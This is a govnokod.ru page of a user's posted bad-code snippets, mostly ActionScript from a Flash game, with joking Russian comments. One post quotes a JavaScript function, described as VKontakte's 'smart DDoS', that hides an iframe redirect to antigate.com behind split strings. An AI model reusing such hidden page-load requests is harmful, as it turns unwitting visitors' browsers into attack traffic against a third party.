- 1
 - 2
 
//дальше идет "родной" движок, спасибо не надо.
return;
                                    Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 34
−106
//дальше идет "родной" движок, спасибо не надо.
return;
                                    Разбираюсь в исходнике одного индуса, поддерживаемого 4 года нашими разработчиками
+130
/*
	 * Это массив объектов данных мануала. Один элемент - одна ступень.
	 * У объектов может быть указан checkpoint:Boolean - место, к которому вернется игрок, при закрытии игры
	 * У каждого объекта должен быть указан type:String, в зависимости от этого меняются другие свойства.
	 * Для создания нового типа ступени туториала - необходимо создать класс, наследующий ITutorialData
	 * и добавить соотвествующую запись в showStep::TutorialManager
	 * Виды type:
		 * dialog - диалоговое окно, атрибуты:
			 * sex:Boolean - какого персонажа показывать в окне
			 * descr:String - текст диалогового окна
		 * pointer - стрелка, указывающая на кнопку
			 * x,y:int - координаты кнопки
			 * width,height:uint - размеры кнопки
			 * x_a,y_a:int - координаты стрелки
			 * angle:int - поворот стрелки, рекомендуемые значения: 0, 90, -90, 180
			 * необязательные:
				 * startfunc:Function - функция, выполняемая ПРИ переходе на эту ступень
				 * endfunc:Function -  функция, выполняемая ПОСЛЕ нажатия кнопки
		 * handler - слушатель событий
		 * target:EventDispatcher - объект, на который подпишется туториал
		 * event:String - название события, на которое подпишется туториал
		 * необязательные:
				 * startfunc:Function - функция, выполняемая ДО подписки на событие
				 * eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
				 * endfunc:Function -  функция, выполняемая ПОСЛЕ возникновения события
		 *  handler-pointer - слушатель событий, показывающий стрелку
			 * x_a,y_a:int - координаты стрелки
			 * target:EventDispatcher - объект, на который подпишется туториал
			 * event:String - название события, на которое подпишется туториал
			 * необязательные:
				 * startfunc:Function - функция, выполняемая ДО подписки на событие
				 * eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
				 * endfunc:Function -  функция, выполняемая ПОСЛЕ возникновения события 
	 * Спасибо за внимание
 */			
public static var data:Array;
                                    После такого комментария становится страшно что-то трогать
−151
private function chopCompleteHandler(e : DataEvent):void
		{			
			if (e.getData().toString() != "false")//что за чудесные преобразования? ////так надо, по другому не хочет
			{
				_player.animLift();
				if (!e.getData().energy)
				{
					targetSquare.fieldObject.lifes = uint(e.getData().lifes);
					if (e.getData().lifes == 0)
						targetSquare.destroyFieldObject();
					if (e.getData().bonus)
						scatterBunuses(e.getData().bonus);
					Model.instance.requestData(ModelEnum.SERVICE_USER, ModelEnum.METHOD_GETINFO, true, GameCanvas.instance.userID);
				}
				else
					Alert.show("Нужно еще " + e.getData().energy+".", "Недостаточно энергии");
			}
		}
                                    
−207
public function Square() 
		{
			_image = new Image();
			_image.smoothBitmapContent = true;
			_mask = new Image();
			Level.instance.addEventListener("squaresCreated", squareCreatedHandler);
		}
		
		/*
		 * Добавляет монстров на field по событию "squaresCreated".
		 * Почему эта логика не в field не ебу.
		 */
		private function squaresCreatedHandler(evt:Event):void
		{
			if (isMonster)
			{
				Level.instance.field.addChild(_fieldMonster);
				_fieldMonster.x = this.x;
				_fieldMonster.y = this.y;
			}
		}
                                    Мимими, всегда бы такие комменты в коде встречать
+147
function _test() {
  var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}
                                    
            "Умный" ддос ВКонташкой antigate.com
http://habrahabr.ru/post/142836/
        
−211
public function GameCanvas() 
		{
			if(_instance)
                throw new Error("Вы не можете создавать экземпляры класса при помощи конструктора. Для доступа к экземпляру используйте GameCanvas.instance.");
			if (stage) {
				createGameCanvas();
			} else {
				addEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
			}
		}
		
		public var field : Field;
		public var current_field : uint = 1;
		public var fields_canvas : Canvas;
		public function createGameCanvas(e:Event = null):void  
		{ 
			GodObject.instance.addEventListener(ModelEnum.SERVICE_LEVEL.toString() + "." + ModelEnum.METHOD_GETUSERLEVEL.toString(), createLevel);
			GodObject.instance.addEventListener(ModelEnum.SERVICE_SANDBOX.toString() + "." + ModelEnum.METHOD_GETUSERSANDBOX.toString(), createSandbox);
			GodObject.instance.addEventListener(ModelEnum.SERVICE_USER.toString() + "." + ModelEnum.METHOD_GETINFO.toString(), getInfoHandler);
			removeEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
			this.width = 800;
			this.height = 600;
			this.x = 0;
			this.y = 0;
			this.autoLayout = false;
			this.verticalScrollPolicy = "off";
			this.horizontalScrollPolicy = "off";
			_memСontroller = new MemoryController();
			loadData = new LoadData();
			stage.addEventListener(Event.RESIZE , windowResize);
			
			MainInterface.instance.create_main_interfame();
			this.addChild(MainInterface.instance);
			
			var items:Vector.<InventoryItem> = new Vector.<InventoryItem>();
			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
			items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
			Inventory.instance.createInventory(items.length+ 68, items);
			
			
			//addChild(ActiveQuests.instance);
			var obj:Array = [ { name:"Найди пять бутылок", descr:"Тебе необходимо сдать 5 бутылок, чтобы купить банку яги!" },
			{ name:"Трололошки", descr:"Оставь десять комментов, содержащих слово \"школота\"!" },
			{name:"Сдай сессию", descr:"Будь мужиком, сдай сессию!"} ];
			ActiveQuests.instance.setQuests(obj);
			
			
			
			switch (Capabilities.playerType) {
				case 'StandAlone':	
					loadData.gateway.call("Server.service", new Responder(startSessionResult, loadData.onFault),"User.startSession", "bstrx");//bstrx
					break;
			}
			
			for (var i:uint = 0; i < MainInterface.instance._menuBtsButtons.length;i++)
				(MainInterface.instance._menuBtsButtons[i].img as Image).addEventListener(MouseEvent.CLICK, menuButtonsClickHandler);
		
			//Model.instance.requestData(ModelEnum.SERVICE_LEVEL, ModelEnum.METHOD_GETUSERLEVEL, true, userID, current_field);	
		}
		private function createLevel(e : DataEvent):void 
		{
			if (e.getData())
			{
				ScreenManager.removeObject(field, this);
				field = new Field();
				field.sandbox = false;
				field.initFieldListeners();
				field.initSquareListeners();
				field.createField(e.getData());
				field.rearrange();
				field.createPlayer(e.getData()[0].id);
				this.addChildAt(field, this.getChildIndex(MainInterface.instance));
				MainInterface.instance.setBtnsField();
			}
		}
                                    Кусочек главного класса игры до рефакторинга
+145
this.getRgbaAtColor = function(color)
{
	color = (color.charAt(0)=="#") ? color.substring(1,9):color;
	color = (color.substring(0,2)=="0x") ? color.substring(2,10):color;var r =  parseInt(color.substring(0,2),16);
	var g = parseInt(color.substring(2,4),16);
	var b = parseInt(color.substring(4,6),16);
	var a = color.substring(6,8);
	a = (a=="") ? 255:parseInt(a,16);
	return "rgba("+r+","+g+","+b+","+(a/255)+")";
}
                                    геймдев..
−119
private function pathfindingOfHell(begin:Point, to:Point, delPoint:Point):Boolean
		{
			var aop:Vector.<GameFigure> = new Vector.<GameFigure>();
			aop.push(arr[begin.x][begin.y]);
			var i:uint = 0;
			while (i != count * 2 - 1)
			{
				for (var x_:int = -1;x_ < 2;x_++)
					for (var y_:int = -1;y_ < 2;y_++)
					{
						if (x_ != 0 && y_ != 0)
						{
							var tP:Point = new Point(aop[aop.length - 1].x_pos + x_, aop[aop.length - 1].y_pos + y_);
							var target:GameFigure = arr[tP.x][tP.y];
							if (!target.isFreedom && !searchInArray(aop, target) && delPoint != tP)
							{
								aop.push(target);
								if (target == arr[to.x][to.y])
								{
									aop = null;
									return true;
								}
							}
						}
					}
				i++;
			}
			aop = null;
			return false;
		}
                                    
+145
http://light-radio.com/dev/
                                    
            Изучал Канвас. Открывайте исходный код и удивляйтесь =)
Столько говна я наверно еще никогда не писал.
        
−117
var regs:Vector.<DisplayObject> = new Vector.<DisplayObject>();
var i:uint=0;
while(map["reg"+i])
{
	regs.push(map["reg"+i]);
	i++;
}
trace("<xml>")
for(i=0;i<regs.length;i++)
{	
	trace('<reg id="'+i+'">');
		trace("<name>"+getQualifiedClassName(regs[i])+"</name>");
		trace("<url></url>");
	trace('</reg>');
}
trace("</xml>")
                                    мои (промежуточные) извращения на тему карты россии с кликабельными регионами и данными в xml.